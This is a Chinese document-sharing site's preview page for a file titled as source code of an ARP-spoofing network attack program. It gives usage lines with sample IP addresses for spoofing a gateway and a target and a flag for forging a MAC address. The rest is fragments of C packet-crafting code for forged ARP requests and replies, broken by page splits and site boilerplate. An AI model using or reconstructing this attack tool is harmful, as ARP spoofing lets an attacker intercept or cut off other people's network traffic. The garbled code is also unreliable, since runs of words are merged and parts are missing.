基于arp欺骗的网络攻击程序源码

基于arp欺骗的网络攻击程序源码

ID:24557995

大小:56.00 KB

页数:4页

时间:2018-11-15

基于arp欺骗的网络攻击程序源码_第1页
基于arp欺骗的网络攻击程序源码_第2页
基于arp欺骗的网络攻击程序源码_第3页
基于arp欺骗的网络攻击程序源码_第4页
资源描述:

《基于arp欺骗的网络攻击程序源码》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、基于ARP欺骗的网络攻击程序源码~教育资源库  最近开始学AC]  -m参数是你要修改的源MAC地址.  为了隐蔽攻击者身份,程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能会得不到目标主机的MAC地址,那么要得到MAC地址请借助第三方工具。  附测试程序代码#includepacket32.h#includentddndis.h#include#include#include#include#pragmament(lib,ament(lib,packet)#defineETH_IP0x

2、0800#defineETH_ARP0x0806#defineARP_REQUEST0x0001//arp请求包#defineARP_REPLY0x0002//arp应答包#defineARP_HARDAC,*PIP_MAC;#pragmapack(push)LPADAPTERlpAdapter;charadapterlist[max_num_adapter][1024];IP_MACtoipandmac;IP_MACoipandmac,myipandmac;BOOLparam6=FALSE;char*noMACstr;charnoMAC[6][3];u_lo

3、ngmytoIP,oIP;BOOLsendtoOip;MSGmsg;UINTneer;charMYIP[20]=128.128.128.128;BOOLtoipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;intgetint(charc){intt=-1;if((c<='9')(c>='0'))t=c-'0';elseif((c>='a')(c<='123下一页友情提醒:,特别!f'

4、))t=10+c-'a';elseif((c>='A')(c<='F'))t=10+c-'A';returnt;}voidstart(){printf(BtNet//--anARPTooltesttheAC]n);printf(Example:n);printf(BtNet-h202.115.138.12-o202.115.138.1n);printf(BtNet-h202.115.138.12-o202.115.138.1-m00-50-fc-6a--6b--7);printf(YI

5、P)))){if(oipandmac_flagmyipandmac_flagtoipandmac_flag)return0;if(((toipandmac.ip==htonl(arp->arp_spa))(toipandmac_flag==FALSE))

6、

7、((myipandmac.ip==htonl(arp->arp_spa))(myipandmac_flag==FALSE))

8、

9、((oipandmac.ip==htonl(arp->arp_spa))(oipandmac_flag==FALSE))){mems上一页123下一页友情提醒:,

10、特别!et(szTemp,0,sizeof(szTemp));memcpy(szTemp,arp->arp_spa,sizeof(arp->arp_spa));printf([IP]:);printf(%s,i_ntoa(*((structin_addr*)szTemp)));pr上一页123友情提醒:,特别!

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。